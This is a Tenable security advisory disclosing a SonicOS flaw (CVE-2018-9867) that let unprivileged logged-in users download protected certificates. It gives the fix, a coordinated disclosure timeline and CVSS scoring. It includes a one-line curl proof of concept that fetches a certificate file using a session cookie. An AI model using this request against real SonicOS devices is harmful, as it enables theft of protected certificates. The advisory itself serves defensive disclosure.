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SonicOS Improper Certificate Access

Medium

Synopsis

While working with SonicOS, Tenable discovered authenticated but unprivileged users can access protected certificates via HTTP request. The following curl command serves as a proof of concept.

curl "https://[server]/[certificate_name].p10" -H "Cookie: SessId=[session_id];"

Solution

Upgrade to SonicOS 5.9.1.11 or later.

Disclosure Timeline

11/02/2018 - Tenable reports the vulnerability to Sonicwall.
11/02/2018 - Sonicwall acknowledges the report.
12/07/2018 - Tenable asks if Sonicwall was able to verify the vulnerability.
12/08/2018 - Sonicwall acknowledges the vulnerability is valid.
01/31/2019 - Tenable asks for a patch date and CVE.
02/01/2019 - Sonicwall assigns a CVE.
02/08/2019 - Sonicwall asks for a little more time.
02/08/2019 - Tenable suggests Feb. 21.
02/08/2019 - Sonicwall agrees.
02/20/2019 - Sonicwall releases a patch and advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2018-9867
Tenable Advisory ID: TRA-2019-08
Credit:
Joseph Bingham
CVSSv2 Base / Temporal Score:
4.0 / 2.9
CVSSv2 Vector:
AV:L/AC:L/Au:S/C:C/I:N/A:N
Affected Products:
SonicOS 5.9.1.10 and earlier
Risk Factor:
Medium

Advisory Timeline

02/20/2019 - [R1] Initial Release